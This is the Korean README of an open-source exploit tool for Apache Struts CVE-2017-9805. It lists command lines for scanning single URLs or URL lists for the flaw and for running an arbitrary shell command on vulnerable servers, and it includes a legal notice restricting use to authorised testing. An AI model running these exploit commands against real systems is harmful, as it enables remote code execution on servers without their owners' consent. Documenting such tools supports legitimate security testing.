apache-struts-pwn - CVE-2017-9805 익스플로잇

Apache Struts CVE-2017-9805에 대한 익스플로잇

사용법

단일 URL에 대해 취약점 존재 여부 확인.

python apache-struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'

URL 목록에 대한 취약점 존재 여부 확인.

python apache-struts-pwn.py --list 'urls.txt'

단일 URL 익스플로잇.

python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'

URL 목록 익스플로잇.

python apache-struts-pwn.py --exploit --list 'urls.txt' -c 'echo test > /tmp/apache-struts-pwn'

요구 사항

• Python2 또는 Python3
• requests

법적 고지

이 프로젝트는 교육적 및 윤리적 테스트 목적으로만 제작되었습니다. 사전 상호 동의 없이 타겟을 공격하기 위해 struts-pwn을 사용하는 것은 불법입니다. 최종 사용자는 모든 관련 지역, 주 및 연방 법률을 준수할 책임이 있습니다. 개발자는 이 프로그램으로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.

저자

Mazin Ahmed

• 웹사이트: https://lonerangerweb.wordpress.com/
• 이메일: ultimate31337[AT]gmail[DOT]com
• 트위터: https://twitter.com/lon3_rang3r